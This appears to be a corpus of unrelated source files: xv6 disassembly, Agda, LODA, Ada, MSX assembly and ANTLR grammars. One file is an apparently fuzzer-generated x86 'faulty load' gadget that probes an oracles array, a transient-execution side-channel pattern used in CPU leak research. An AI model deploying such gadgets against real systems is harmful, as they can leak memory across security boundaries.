1cbc: 89 04 24 mov %eax,(%esp)
1cbf: e8 48 fa ff ff call 170c <clone>
1cc4: 89 45 ec mov %eax,-0x14(%ebp)
if(tid < 0){
1cc7: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1ccb: 79 1b jns 1ce8 <thread_create+0xa1>
printf(1,"clone fails\n");
1ccd: c7 44 24 04 4c 1f 00 movl $0x1f4c,0x4(%esp)
1cd4: 00
1cd5: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1cdc: e8 33 fb ff ff call 1814 <printf>
return 0;
1ce1: b8 00 00 00 00 mov $0x0,%eax
1ce6: eb 2a jmp 1d12 <thread_create+0xcb>
}
if(tid > 0){
1ce8: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1cec: 7e 05 jle 1cf3 <thread_create+0xac>
//store threads on thread table
return garbage_stack;
1cee: 8b 45 f0 mov -0x10(%ebp),%eax
1cf1: eb 1f jmp 1d12 <thread_create+0xcb>
}
if(tid == 0){
1cf3: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1cf7: 75 14 jne 1d0d <thread_create+0xc6>
printf(1,"tid = 0 return \n");
1cf9: c7 44 24 04 59 1f 00 movl $0x1f59,0x4(%esp)
1d00: 00
1d01: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1d08: e8 07 fb ff ff call 1814 <printf>
}
// wait();
// free(garbage_stack);
return 0;
1d0d: b8 00 00 00 00 mov $0x0,%eax
}
1d12: c9 leave
1d13: c3 ret
00001d14 <random>:
// generate 0 -> max random number exclude max.
int random(int max){
1d14: 55 push %ebp
1d15: 89 e5 mov %esp,%ebp
rands = rands * 1664525 + 1013904233;
1d17: a1 50 23 00 00 mov 0x2350,%eax
1d1c: 69 c0 0d 66 19 00 imul $0x19660d,%eax,%eax
1d22: 05 69 f3 6e 3c add $0x3c6ef369,%eax
1d27: a3 50 23 00 00 mov %eax,0x2350
return (int)(rands % max);
1d2c: a1 50 23 00 00 mov 0x2350,%eax
1d31: 8b 4d 08 mov 0x8(%ebp),%ecx
1d34: ba 00 00 00 00 mov $0x0,%edx
1d39: f7 f1 div %ecx
1d3b: 89 d0 mov %edx,%eax
}
1d3d: 5d pop %ebp
1d3e: c3 ret
1d3f: 90 nop
00001d40 <init_q>:
#include "queue.h"
#include "types.h"
#include "user.h"
void init_q(struct queue *q){
1d40: 55 push %ebp
1d41: 89 e5 mov %esp,%ebp
q->size = 0;
1d43: 8b 45 08 mov 0x8(%ebp),%eax
1d46: c7 00 00 00 00 00 movl $0x0,(%eax)
q->head = 0;
1d4c: 8b 45 08 mov 0x8(%ebp),%eax
1d4f: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
q->tail = 0;
1d56: 8b 45 08 mov 0x8(%ebp),%eax
1d59: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
1d60: 5d pop %ebp
1d61: c3 ret
00001d62 <add_q>:
void add_q(struct queue *q, int v){
1d62: 55 push %ebp
1d63: 89 e5 mov %esp,%ebp
1d65: 83 ec 28 sub $0x28,%esp
struct node * n = malloc(sizeof(struct node));
1d68: c7 04 24 08 00 00 00 movl $0x8,(%esp)
1d6f: e8 8d fd ff ff call 1b01 <malloc>
1d74: 89 45 f4 mov %eax,-0xc(%ebp)
n->next = 0;
1d77: 8b 45 f4 mov -0xc(%ebp),%eax
1d7a: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
n->value = v;
1d81: 8b 45 f4 mov -0xc(%ebp),%eax
1d84: 8b 55 0c mov 0xc(%ebp),%edx
1d87: 89 10 mov %edx,(%eax)
if(q->head == 0){
1d89: 8b 45 08 mov 0x8(%ebp),%eax
1d8c: 8b 40 04 mov 0x4(%eax),%eax
1d8f: 85 c0 test %eax,%eax
1d91: 75 0b jne 1d9e <add_q+0x3c>
q->head = n;
1d93: 8b 45 08 mov 0x8(%ebp),%eax
1d96: 8b 55 f4 mov -0xc(%ebp),%edx
1d99: 89 50 04 mov %edx,0x4(%eax)
1d9c: eb 0c jmp 1daa <add_q+0x48>
}else{
q->tail->next = n;
1d9e: 8b 45 08 mov 0x8(%ebp),%eax
1da1: 8b 40 08 mov 0x8(%eax),%eax
1da4: 8b 55 f4 mov -0xc(%ebp),%edx
1da7: 89 50 04 mov %edx,0x4(%eax)
}
q->tail = n;
1daa: 8b 45 08 mov 0x8(%ebp),%eax
1dad: 8b 55 f4 mov -0xc(%ebp),%edx
1db0: 89 50 08 mov %edx,0x8(%eax)
q->size++;
1db3: 8b 45 08 mov 0x8(%ebp),%eax
1db6: 8b 00 mov (%eax),%eax
1db8: 8d 50 01 lea 0x1(%eax),%edx
1dbb: 8b 45 08 mov 0x8(%ebp),%eax
1dbe: 89 10 mov %edx,(%eax)
}
1dc0: c9 leave
1dc1: c3 ret
00001dc2 <empty_q>:
int empty_q(struct queue *q){
1dc2: 55 push %ebp
1dc3: 89 e5 mov %esp,%ebp
if(q->size == 0)
1dc5: 8b 45 08 mov 0x8(%ebp),%eax
1dc8: 8b 00 mov (%eax),%eax
1dca: 85 c0 test %eax,%eax
1dcc: 75 07 jne 1dd5 <empty_q+0x13>
return 1;
1dce: b8 01 00 00 00 mov $0x1,%eax
1dd3: eb 05 jmp 1dda <empty_q+0x18>
else
return 0;
1dd5: b8 00 00 00 00 mov $0x0,%eax
}
1dda: 5d pop %ebp
1ddb: c3 ret
00001ddc <pop_q>:
int pop_q(struct queue *q){
1ddc: 55 push %ebp
1ddd: 89 e5 mov %esp,%ebp
1ddf: 83 ec 28 sub $0x28,%esp
int val;
struct node *destroy;
if(!empty_q(q)){
1de2: 8b 45 08 mov 0x8(%ebp),%eax
1de5: 89 04 24 mov %eax,(%esp)
1de8: e8 d5 ff ff ff call 1dc2 <empty_q>
1ded: 85 c0 test %eax,%eax
1def: 75 5d jne 1e4e <pop_q+0x72>
val = q->head->value;
1df1: 8b 45 08 mov 0x8(%ebp),%eax
1df4: 8b 40 04 mov 0x4(%eax),%eax
1df7: 8b 00 mov (%eax),%eax
1df9: 89 45 f4 mov %eax,-0xc(%ebp)
destroy = q->head;
1dfc: 8b 45 08 mov 0x8(%ebp),%eax
1dff: 8b 40 04 mov 0x4(%eax),%eax
1e02: 89 45 f0 mov %eax,-0x10(%ebp)
q->head = q->head->next;
1e05: 8b 45 08 mov 0x8(%ebp),%eax
1e08: 8b 40 04 mov 0x4(%eax),%eax
1e0b: 8b 50 04 mov 0x4(%eax),%edx
1e0e: 8b 45 08 mov 0x8(%ebp),%eax
1e11: 89 50 04 mov %edx,0x4(%eax)
free(destroy);
1e14: 8b 45 f0 mov -0x10(%ebp),%eax
1e17: 89 04 24 mov %eax,(%esp)
1e1a: e8 a9 fb ff ff call 19c8 <free>
q->size--;
1e1f: 8b 45 08 mov 0x8(%ebp),%eax
1e22: 8b 00 mov (%eax),%eax
1e24: 8d 50 ff lea -0x1(%eax),%edx
1e27: 8b 45 08 mov 0x8(%ebp),%eax
1e2a: 89 10 mov %edx,(%eax)
if(q->size == 0){
1e2c: 8b 45 08 mov 0x8(%ebp),%eax
1e2f: 8b 00 mov (%eax),%eax
1e31: 85 c0 test %eax,%eax
1e33: 75 14 jne 1e49 <pop_q+0x6d>
q->head = 0;
1e35: 8b 45 08 mov 0x8(%ebp),%eax
1e38: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
q->tail = 0;
1e3f: 8b 45 08 mov 0x8(%ebp),%eax
1e42: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
return val;
1e49: 8b 45 f4 mov -0xc(%ebp),%eax
1e4c: eb 05 jmp 1e53 <pop_q+0x77>
}
return -1;
1e4e: b8 ff ff ff ff mov $0xffffffff,%eax
}
1e53: c9 leave
1e54: c3 ret
|
test/Succeed/HeterogeneousRewriting.agda | alhassy/agda | 3 | 10423 | <gh_stars>1-10
{-# OPTIONS --rewriting #-}
open import Agda.Primitive
postulate
_↦_ : ∀{i j}{A : Set i}{B : Set j} → A → B → Set (i ⊔ j)
{-# BUILTIN REWRITE _↦_ #-} -- currently fails a sanity check
postulate
resize : ∀{i j} → Set i → Set j
resize-id : ∀{i} {j} {A : Set i} → resize {i} {j} A ↦ A
{-# REWRITE resize-id #-}
-- Impredicative quantification
Forall : ∀{i} (F : Set i → Set) → Set
Forall {i} F = resize ((X : Set i) → F X)
-- Example: Impredicative encoding of natural numbers
Nat = Forall λ X → (X → X) → X → X
zero : Nat
zero X s z = z
suc : Nat → Nat
suc n X s z = s (n X s z)
-- requires impredicativity:
id : Nat → Nat
id n = n Nat suc zero
|
programs/oeis/115/A115384.asm | neoneye/loda | 22 | 99506 | <filename>programs/oeis/115/A115384.asm
; A115384: Partial sums of Thue-Morse numbers A010060.
; 0,1,2,2,3,3,3,4,5,5,5,6,6,7,8,8,9,9,9,10,10,11,12,12,12,13,14,14,15,15,15,16,17,17,17,18,18,19,20,20,20,21,22,22,23,23,23,24,24,25,26,26,27,27,27,28,29,29,29,30,30,31,32,32,33,33,33,34,34,35,36,36,36,37,38,38,39,39,39,40,40,41,42,42,43,43,43,44,45,45,45,46,46,47,48,48,48,49,50,50
mov $1,$0
seq $1,245710 ; Number of nonzero evil numbers <= n, see A001969.
sub $0,$1
|
src/el-contexts-tls.ads | My-Colaborations/ada-el | 0 | 574 | <filename>src/el-contexts-tls.ads
-----------------------------------------------------------------------
-- EL.Contexts.TLS -- EL context and Thread Local Support
-- Copyright (C) 2015 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with EL.Contexts.Default;
-- == EL TLS Context ==
-- The <tt>TLS_Context</tt> type defines an expression context that associates itself to
-- a per-thread context information. By declaring a variable with this type, the expression
-- context is associated with the current thread and it can be retrieved at any time by using the
-- <tt>Current</tt> function. As soon as the variable is finalized, the current thread context
-- is updated.
--
-- The expression context may be declared as follows:
--
-- Context : EL.Contexts.TLS.TLS_Context;
--
-- And at any time, a function or procedure that needs to evaluate an expression can use it:
--
-- Expr : EL.Expressions.Expression;
-- ...
-- Value : Util.Beans.Objects.Object := Expr.Get_Value (EL.Contexts.TLS.Current.all);
--
package EL.Contexts.TLS is
-- ------------------------------
-- TLS Context
-- ------------------------------
-- Context information for expression evaluation.
type TLS_Context is new EL.Contexts.Default.Default_Context with private;
-- Get the current EL context associated with the current thread.
function Current return EL.Contexts.ELContext_Access;
private
type TLS_Context is new EL.Contexts.Default.Default_Context with record
Previous : EL.Contexts.ELContext_Access;
end record;
-- Initialize and setup a new per-thread EL context.
overriding
procedure Initialize (Obj : in out TLS_Context);
-- Restore the previouse per-thread EL context.
overriding
procedure Finalize (Obj : in out TLS_Context);
end EL.Contexts.TLS;
|
libsrc/stdio/_vfscanf.asm | dikdom/z88dk | 1 | 2353 | <reponame>dikdom/z88dk
MODULE _vfscanf
SECTION code_clib
PUBLIC _vfscanf
EXTERN asm_scanf
; sdcc version
;void vfscanf(FILE *fp, char *fmt,va_list ap)
_vfscanf:
ld hl,7
add hl,sp
ld b,(hl) ;fp
dec hl
ld c,(hl)
dec hl
ld d,(hl) ;fmt
dec hl
ld e,(hl)
dec hl
ld a,(hl) ;fp
dec hl
ld l,(hl)
ld h,a
IF !__CPU_INTEL__
push ix ;save callers
ENDIF
push hl ;fp
ld hl,0 ;sdcc mode
push hl
push de ;fmt
push bc ;ap
call asm_scanf
pop bc
pop bc
pop bc
pop bc
IF !__CPU_INTEL__
pop ix ;restore callers
ENDIF
ret
|
Task/Ordered-words/Ada/ordered-words.ada | LaudateCorpus1/RosettaCodeData | 1 | 24698 | with Ada.Text_IO, Ada.Containers.Indefinite_Vectors;
use Ada.Text_IO;
procedure Ordered_Words is
package Word_Vectors is new Ada.Containers.Indefinite_Vectors
(Index_Type => Positive, Element_Type => String);
use Word_Vectors;
File : File_Type;
Ordered_Words : Vector;
Max_Length : Positive := 1;
begin
Open (File, In_File, "unixdict.txt");
while not End_Of_File (File) loop
declare
Word : String := Get_Line (File);
begin
if (for all i in Word'First..Word'Last-1 => Word (i) <= Word(i+1)) then
if Word'Length > Max_Length then
Max_Length := Word'Length;
Ordered_Words.Clear;
Ordered_Words.Append (Word);
elsif Word'Length = Max_Length then
Ordered_Words.Append (Word);
end if;
end if;
end;
end loop;
for Word of Ordered_Words loop
Put_Line (Word);
end loop;
Close (File);
end Ordered_Words;
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1165.asm | ljhsiun2/medusa | 9 | 84507 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0xbfe9, %rsi
lea addresses_A_ht+0x9559, %rdi
nop
add %rax, %rax
mov $26, %rcx
rep movsb
nop
sub $14074, %r12
lea addresses_normal_ht+0xaee9, %rdx
clflush (%rdx)
nop
nop
nop
nop
nop
add %rbx, %rbx
mov $0x6162636465666768, %rsi
movq %rsi, (%rdx)
nop
and %rsi, %rsi
lea addresses_A_ht+0x19249, %rbx
nop
nop
nop
nop
nop
sub $17305, %r12
mov (%rbx), %cx
nop
nop
and %rsi, %rsi
lea addresses_D_ht+0x1e649, %rsi
lea addresses_WC_ht+0x1d189, %rdi
nop
nop
nop
nop
nop
add %r11, %r11
mov $101, %rcx
rep movsq
nop
xor %rsi, %rsi
lea addresses_normal_ht+0x16809, %rsi
lea addresses_A_ht+0x1c549, %rdi
add $19135, %rax
mov $105, %rcx
rep movsq
nop
nop
sub %r11, %r11
lea addresses_WT_ht+0x19949, %r12
nop
nop
nop
nop
add $63505, %rcx
movl $0x61626364, (%r12)
cmp %rax, %rax
lea addresses_D_ht+0xc0e1, %rsi
lea addresses_WC_ht+0x2a49, %rdi
clflush (%rdi)
and $3623, %rbx
mov $7, %rcx
rep movsq
nop
nop
nop
nop
sub %rax, %rax
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r14
push %r8
push %r9
push %rbx
// Load
lea addresses_UC+0x4f49, %r10
nop
nop
nop
nop
add %r8, %r8
mov (%r10), %r13w
cmp $38085, %r8
// Store
lea addresses_WT+0x249, %rbx
nop
sub $6801, %r11
mov $0x5152535455565758, %r10
movq %r10, %xmm2
vmovups %ymm2, (%rbx)
nop
nop
nop
nop
sub $2373, %r13
// Store
lea addresses_A+0x9f99, %r9
nop
nop
inc %r14
movl $0x51525354, (%r9)
nop
nop
nop
nop
nop
dec %r9
// Store
lea addresses_WT+0x4649, %r14
nop
nop
inc %rbx
mov $0x5152535455565758, %r11
movq %r11, %xmm4
vmovups %ymm4, (%r14)
nop
nop
nop
nop
nop
xor $25267, %r8
// Faulty Load
lea addresses_normal+0x9249, %r13
nop
nop
nop
nop
and %r9, %r9
vmovups (%r13), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $1, %xmm0, %r10
lea oracles, %r14
and $0xff, %r10
shlq $12, %r10
mov (%r14,%r10,1), %r10
pop %rbx
pop %r9
pop %r8
pop %r14
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 10}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 3}}
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 10}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_D_ht'}, 'dst': {'same': True, 'congruent': 6, 'type': 'addresses_WC_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_normal_ht'}, 'dst': {'same': True, 'congruent': 6, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 4}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_WC_ht'}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
src/main/antlr4/UriHeaders.g4 | hemantsonu20/sip-parser-antlr | 1 | 6887 | grammar UriHeaders;
@header {
/**
* Copyright 2016 <NAME>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
package antlr4;
}
uriHeaders
:
uriParameters headers? EOF
;
uriParameters
:
(
CH_SEMICOLON uriParameter
)*
;
uriParameter
:
NAME_OR_VALUE
(
CH_EQUAL NAME_OR_VALUE
)?
;
headers
:
CH_QUESTION header
(
CH_AMPERSAND header
)*
;
header
:
NAME_OR_VALUE CH_EQUAL NAME_OR_VALUE
;
fragment
ESCAPED
:
CH_PERCENT HEX_DIG HEX_DIG
;
fragment
UNRESERVED_ESCAPED
:
UNRESERVED
| ESCAPED
;
fragment
UNRESERVED
:
ALPHA_NUM
| MARK
;
fragment
HEX_DIG
:
DIGIT
| 'A'
| 'B'
| 'C'
| 'D'
| 'E'
| 'F'
;
fragment
ALPHA_NUM
:
ALPHA
| DIGIT
;
fragment
ALPHA
:
(
'a' .. 'z'
| 'A' .. 'Z'
)
;
fragment
DIGIT
:
(
'0' .. '9'
)
;
NAME_OR_VALUE
:
(
UNRESERVED_ESCAPED
| PARAM_HNV_UNRESERVED
)+
;
fragment
PARAM_HNV_UNRESERVED
:
CH_RIGHTBRACKET
| CH_LEFTBRACKET
| CH_FWDSLASH
| CH_COLON
| CH_PLUS
| CH_DOLLAR
;
fragment
MARK
:
CH_HYPHEN
| CH_UNDERSCORE
| CH_DOT
| CH_NOT
| CH_TILDE
| CH_STAR
| CH_SINGLEQUOTE
| CH_LEFTBRACE
| CH_RIGHTBRACE
;
CH_AMPERSAND
:
'&'
;
CH_EQUAL
:
'='
;
fragment
CH_PLUS
:
'+'
;
fragment
CH_DOLLAR
:
'$'
;
CH_SEMICOLON
:
';'
;
CH_QUESTION
:
'?'
;
CH_COLON
:
':'
;
CH_DOT
:
'.'
;
fragment
CH_RIGHTBRACKET
:
']'
;
fragment
CH_LEFTBRACKET
:
'['
;
fragment
CH_FWDSLASH
:
'/'
;
fragment
CH_PERCENT
:
'%'
;
fragment
CH_RIGHTBRACE
:
')'
;
fragment
CH_LEFTBRACE
:
'('
;
fragment
CH_HYPHEN
:
'-'
;
fragment
CH_NOT
:
'!'
;
fragment
CH_STAR
:
'*'
;
fragment
CH_UNDERSCORE
:
'_'
;
fragment
CH_SINGLEQUOTE
:
'\''
;
fragment
CH_TILDE
:
'~'
; |
YXML.g4 | Dacit/yxml-parser | 0 | 48 | grammar YXML;
file: markup yxml EOF;
yxml: (markup | text)*;
markup: X Y text kv* X yxml X Y X;
text: (TS | EQ)+;
kv: Y TS EQ text?;
TS: ~('\u0005' | '\u0006' | '=')+;
EQ: '=';
X: '\u0005';
Y: '\u0006'; |
apps/telnet/io.asm | vipoo/msxrc2014 | 1 | 247028 | ; ___________________________________________________________
;/ __ _ \
;| / _| (_) |
;| | |_ _ _ ___ _ ___ _ __ |
;| | _| | | / __| |/ _ \| '_ \ |
;| | | | |_| \__ \ | (_) | | | | |
;| |_| \__,_|___/_|\___/|_| |_| * |
;| |
;| The MSX C Library for SDCC |
;| V1.0 - 09-10-11 2018 |
;| |
;| <NAME> & <NAME> |
;| |
;| A S M S O U R C E C O D E |
;| |
;| |
;\___________________________________________________________/
;
;
; IO.H
; Disk operations
;
; (c) 1995, SOLID MSX C
;
; SDCC port 2015
;
; MSXDOS1, MSXDOS2 disk operations
;
SECTION CODE
;--- proc FCBs
;
; INIT for IO operations
; Returns pointer to FCB list
;
PUBLIC _FCBs
_FCBs:
call _OS_version
call _prep_fcbs
ld hl, __buf8_fcbs
ret
;--- end of proc
;--- proc GET_OS_VERSION
;
; int GetOSVersion( )
;
;
PUBLIC _GetOSVersion
_GetOSVersion:
call _OS_version
ld h, 0
ld a,(__os_ver)
ld l, a
ret
_OS_version:
ld c,0xC
call 5
cp 5
jr z,lb_v1
lb_va:
ld bc,0x6F
call 5
ld (__mx_ver),de ;MSXDOS2.SYS version number
ld a,b ;MSX-DOS kernel version
cp 2
jr c,lb_v1
ld a,2
lb_vb:
ld (__os_ver),a
ret
lb_v1:
ld a,1
jr lb_vb
;.area _DATA
PUBLIC __os_ver
__os_ver: db 0 ;1 -> MSXDOS 1.X, 2-> MSXDOS2
PUBLIC __mx_ver
__mx_ver: db 0
;--- end of proc
SECTION CODE
;-
; Variables and temporary FCBs for DOS1 functions
;-
;.area _DATA
PUBLIC __buf8_fcbs
__buf8_fcbs: ;allocate 8 FCBs for DOS1
ds 38*8 ;304 bytes = 0xff
PUBLIC __io_errno
__io_errno:
db 0,0
_xfcb:
ds 38
_ffcb:
ds 38
lb_con:
db 0
db "CON "
db 0
SECTION CODE
;--- proc prep_fcbs
_prep_fcbs:
xor a
ld (de),a
;allocate 8 FCBs for DOS1
ld hl, __buf8_fcbs
;set 2 FCBs to CON
call _opencon
ld de,38
add hl,de
call _opencon
ret
_opencon:
push hl
ex de,hl
push de
ld hl,lb_con
ld bc,13
ldir
pop de
push de
ld c,0xF
call 5
pop ix
ld (ix+14),1
ld (ix+15),0
pop hl
ret
;
;--- end of proc
;--- proc setfcb
; setup FCB, used for DOS1 file IO functions
PUBLIC __setupfcb
__setupfcb:
push hl
push de
ld l,e
ld h,d
inc de
ld bc,16
ld (hl),0
ldir
pop de
pop hl
;
xor a
ld (de),a
inc hl
ld a,(hl)
cp ':'
dec hl
jr nz,lb_setu5
ld a,(hl)
and 0xF
ld (de),a
inc hl
inc hl
lb_setu5:
inc de
lb_setu6:
ld b,8
call lb_setu7
ld a,(hl)
cp '.'
jr nz,lb_setu8
inc hl
lb_setu8:
ld b,3
call lb_setu7
xor a
ret
;
lb_setu7:
ld a,(hl)
cp '.'
jr z,lb_setu9
cp '*'
jr z,lb_setu12
cp '!'
jr c,lb_setu9
ld (de),a
inc hl
inc de
djnz lb_setu7
ret
lb_setu12:
inc hl
ld a,'?'
jr lb_setu10
;
lb_setu9:
ld a,' '
lb_setu10:
ld (de),a
inc de
djnz lb_setu10
ret
;--- end of proc
;--- proc dos1fd
; convert FD to FCB address for DOS1
PUBLIC _get_fd
_get_fd:
ld h,0
add hl,hl
ld d,h
ld e,l
add hl,hl
ld b,h
ld c,l
add hl,hl
add hl,hl
add hl,hl
add hl,de
add hl,bc
ld de, __buf8_fcbs
add hl,de
ret
;--- end of proc
;--- proc open
;
; FD Open(char *name, int mode) -- DOS1 (attributes ignored), DOS2
; FD OpenAttrib(char *name, int mode, int attrib) -- DOS2
;
; Attributes are for MSXDOS2 only
;
PUBLIC _Open
_Open:
push ix
ld ix,0
add ix,sp
ld l,(ix+4)
ld h,(ix+5)
ld e,(ix+6)
ld d,(ix+7)
ld bc,0
pop ix
jr _iopen
PUBLIC _OpenAttrib
_OpenAttrib:
push ix
ld ix,0
add ix,sp
ld l,(ix+4)
ld h,(ix+5)
ld e,(ix+6)
ld d,(ix+7)
ld c,(ix+8)
ld b,(ix+9)
pop ix
PUBLIC _iopen
_iopen:
push ix
ld a,(__os_ver)
or a
jr nz,lb_opC
; maybe not initiated
push hl
push de
push bc
call _OS_version
call _prep_fcbs
pop bc
pop de
pop hl
ld a,(__os_ver)
or a
jr z, lb_op15 ; if can not manage
lb_opC:
dec a
dec a
jr z,lb_op2 ; MSXDOS2 can do the same as MSXDOS1
xor a
jr lb_op1 ; MSXDOS1
lb_op25:
pop ix
or a
ld (__io_errno),a
ld h,0
ret z
lb_op14:
ld hl,-1
ret
;
lb_op2:
xor a
ld b,c ;attributes
bit 0,e ;O_WRITE
jr nz,lb_op21
or 1
lb_op21:
bit 2,e ;O_EXCL?
jr z,lb_op22
set 7,b
lb_op22:
bit 5,e
ld c,0x43
jr z,lb_op23
bit 4,e
jr z,lb_op23
inc c
lb_op23:
ex de,hl
push hl
call 5
ld (__io_errno),a
pop de
bit 6,e
jr z,lb_op24
push bc
ld hl,0 ;O_APPEND
ld d,h
